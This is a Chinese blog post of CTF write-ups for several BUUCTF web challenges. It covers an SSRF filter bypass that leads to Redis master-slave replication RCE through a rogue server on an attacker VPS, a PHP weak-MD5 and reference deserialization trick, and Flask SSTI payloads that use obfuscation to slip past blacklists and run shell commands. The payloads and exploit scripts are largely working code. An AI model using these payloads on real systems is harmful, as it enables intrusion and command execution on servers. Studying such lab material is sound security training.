[网鼎杯 2020 玄武组]SSRFMe
访问得源码:
<?php
function check_inner_ip($url)
{
//若没有匹配到 http、https、gopher、dict 协议,就 die 掉
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
//若获得的 ip 为内网地址,返回 True
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
// 若是内网 ip,提示非法
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
//存在 SSRF 利用点
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
//这里检查了 302 跳转的地址是不是内网地址,说明 302 跳转绕过方法没法使用了
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
一些可行的绕过方法:
?url=http://0.0.0.0/hint.php
?url=http://[::ffff:7f00:1]/hint.php
?url=http:///127.0.0.1/hint.php
?url=http://0x7f000001/hint.php
对于使用 16 进制的 0x7f000001
进行绕过我也很懵逼,按理说应该在 ip2long 那里被检测到的,本地测试了一下也是不能使用的,但是在该题中确实可以使用。
对于 http:///127.0.0.1/hint.php
这种形式,是参考的 [网鼎杯 2020 玄武组]SSRFMe。
用 parse_url 解析这样的畸形 url 会返回 false,然后 $hostname=$url_parse['host'];
会返回 null,gethostbyname 会返回空,绕过了 ip检测。
成功利用得到 hint.php 内容:
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
测试发现不具备往网站根目录写文件权限。那么这里就算提示了 redis 的密码为 root,也不能利用 redis 写 shell。
这里的考点是 redis 主从复制。
redis 主从复制介绍可参考文章 Redis 主从复制详细解读。
redis 主从复制 rce 介绍可参考文章 redis-post-exploitation 学习。
直接利用 github 里的项目:Redis Rogue Server、redis-ssrf。
将 redis-rogue-server 里的 exp.so 移到 redis-ssrf 中,修改其中的几个值如下
# your_vps 的 ip、port 和想要执行的命令
lhost="your_vps"
lport="6666"
command="ls /"
# redis的密码,默认为空
passwd = 'root'
# 127.0.0.1 被过滤,这里用 0.0.0.0 进行绕过
ip = "0.0.0.0"
port="6379"
执行得到 payload:
然后在 vps 执行 rogue-server.py,访问靶机利用刚才的 payload 进行攻击,rce 成功:
这时 vps 执行的 rogue-server.py 会提示成功执行。
修改 command 命令为 cat /flag
,再一次执行得到 flag:
BUU CODE REVIEW 1
访问给源码:
<?php
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
考点1:md5弱比较,可以直接用数组绕过。
考点2:反序列化,引用传值
构造序列化链:
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);
//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>
payload:
GET 传值 ?pleaseget=1
POST传值 pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
[GYCTF2020]FlaskApp
看到是一个 flask 框架,实现了 base64 加解密功能,直接尝试 SSTI。
加密处提交 {{3+4}}
得到结果 e3szKzR9fQ==
;
解密处提交 e3szKzR9fQ==
得到结果 7
,说明确实存在 SSTI。
由于界面切换麻烦,直接写 exp。不断修改 payload 得到结果:
import requests
import re,html
payload = '{{2+4}}'
payload = '{% for c in "".__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=="catch_warnings" %}{{c.__init__.__globals__["__builtins__"]["__impo"+"rt__"]("o"+"s").__dict__["pop"+"en"]("ls /").read()}}{% endif %}{% endfor %}'
#payload = '{{x.__init__.__globals__["__builtins__"]["ev"+"al"]("__imp"+"ort__(\'o"+"s\').pop"+"en(\'cat /this_is_the_fl"+"ag.txt\').read()")}}'
payload = '{{url_for.__globals__["__builtins__"]["ev"+"al"](")(daer.)\'/ sl\'(nepop.)\'so\'(__tropmi__"[::-1])}}'
url1 = 'http://74576880-e37a-484b-a4d4-c3721c364872.node4.buuoj.cn/'
url2 = 'http://74576880-e37a-484b-a4d4-c3721c364872.node4.buuoj.cn/decode'
data1 = {
'text': payload
}
r1 = requests.post(url1,data=data1)
#print(r.text)
text_e = re.findall(r"结果 :(.*)",r1.text)[0]
print(text_e)
data2 = {
'text': text_e
}
r2 = requests.post(url2, data=data2)
#print(r2.text)
# 界面报错
if "Werkzeug Debugger" in r2.text:
print(r2.text)
# 字符没过滤的情况
elif "no no no !!" not in r2.text:
text_d = re.findall(r"结果 : (.*?)</div>",r2.text, re.S)[0]
#print(text_d)
res = html.unescape(html.unescape(text_d))
print(res)
else:
print('no no no !!')
顺便查看 app.py
内容:
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
[pasecactf_2019]flask_ssti
简单测试了一下,发现过滤了 '
、_
、.
。
这里可以用编码绕过 _
,即使用 \x5f
代替 _
。
对于 .
号,可以使用 []
绕过。
''.__class__
""["\x5f\x5fclass\x5f\x5f"]
构造payload, POST 传值:
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[132]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat a*")["read"]()}}
nickname={% for c in []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]() %}{% if c["\x5f\x5fname\x5f\x5f"]=="catch\x5fwarnings" %}{{ c["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat a*")["read"]() }}{% endif %}{% endfor %}
读出 app.py 源码如下:
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
# Tiaonmmn don 't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜” * °★☆★_ % s_★☆★°° * ', ' % s~♡ⓛⓞⓥⓔ♡~', ' % s Вêчңø в øĤлâйĤé ', '♪♪♪ % s♪♪♪ ', ' [♥♥♥ % s♥♥♥]', ' % s, kOтO® Aя)(оТеЛ@© 4@ $tьЯ ', '♔ % s♔ ', ' [♂+♂ = ♥] % s[♂+♂ = ♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 1337)
知道加密后的 flag 存在 config 里,读出来:
爆破一下即可得到 flag,exp 如下:
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flagenc = '-M7\x10wC2?1\x00$er\x0e\x1c\x0cl\x03(D\x1d\x19[\x17x2V`\x02X@\n,\x04x&\x1d<\x12[\x18G'
key = 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2 = 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag = ''
for x in range(len(flagenc)):
for i in range(32,127):
if flagenc[x] == chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
flag += chr(i)
break
print(flag)
# flag{201c0669-c764-453e-a960-46b96c89d4d7}
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/119418621
========================================================